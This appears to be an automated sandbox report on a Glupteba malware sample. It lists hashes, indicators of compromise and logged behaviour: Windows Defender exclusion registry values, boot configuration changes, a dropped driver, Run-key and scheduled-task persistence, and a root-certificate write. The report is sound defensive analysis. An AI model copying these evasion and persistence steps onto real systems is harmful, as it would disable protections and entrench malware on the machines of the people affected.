glupteba | 4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6

Analysis

max time kernel
145s
max time network
191s
platform
windows7_x64
resource
win7-20220718-en
resource tags

arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
submitted
20-07-2022 19:32

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General

Target

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Size

3.8MB
MD5

827759386f54f0b296fc04902e9da469
SHA1

dd96acff5064c40e1b5b95d072d844723566703c
SHA256

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6
SHA512

d6c61c99a95e68505e13ff596914c99c7297e05bc45ee4e59a06272c037fcd80c2094e3ed0772e60bcc0428d4e4b71340e48b1091cd2aadea376cc7e93f3bc8e

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1288-56-0x00000000012D0000-0x0000000001AD4000-memory.dmp	family_glupteba
behavioral1/memory/1288-57-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba
behavioral1/memory/1288-58-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba
behavioral1/memory/760-64-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba
behavioral1/memory/760-69-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba
behavioral1/memory/1908-72-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba
behavioral1/memory/1908-73-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba
behavioral1/memory/1680-76-0x0000000140000000-0x00000001405E8000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SnowyVoice = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

Modifies boot configuration data using bcdedit 14 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
1368	bcdedit.exe
1552	bcdedit.exe
1564	bcdedit.exe
1704	bcdedit.exe
1604	bcdedit.exe
1100	bcdedit.exe
524	bcdedit.exe
1720	bcdedit.exe
556	bcdedit.exe
880	bcdedit.exe
436	bcdedit.exe
1112	bcdedit.exe
1444	bcdedit.exe
1524	bcdedit.exe

Drops file in Drivers directory 1 IoCs

Processes:

csrss.exe

description ioc process

File created C:\Windows\system32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exedsefix.exe

pid process

1908 csrss.exe
1680 patch.exe
1628 dsefix.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1356 netsh.exe
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command-Line Interface
T1059

description	ioc	process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

pid	process
1908	csrss.exe
1680	patch.exe
1628	dsefix.exe

pid	process
1356	netsh.exe

Loads dropped DLL 12 IoCs

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exepatch.execsrss.exe

pid	process
760	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
760	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
868
1680	patch.exe
1680	patch.exe
1680	patch.exe
1680	patch.exe
1680	patch.exe
1680	patch.exe
1680	patch.exe
1680	patch.exe
1908	csrss.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SnowyVoice = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Windows\CurrentVersion\Run\SnowyVoice = "\"C:\\Windows\\rss\\csrss.exe\""	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exemakecab.exe

description	ioc	process
File opened for modification	C:\Windows\rss	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
File created	C:\Windows\rss\csrss.exe	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20220721005557.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1948 schtasks.exe
836 schtasks.exe

pid	process
1948	schtasks.exe
836	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exenetsh.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

csrss.exepatch.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434ed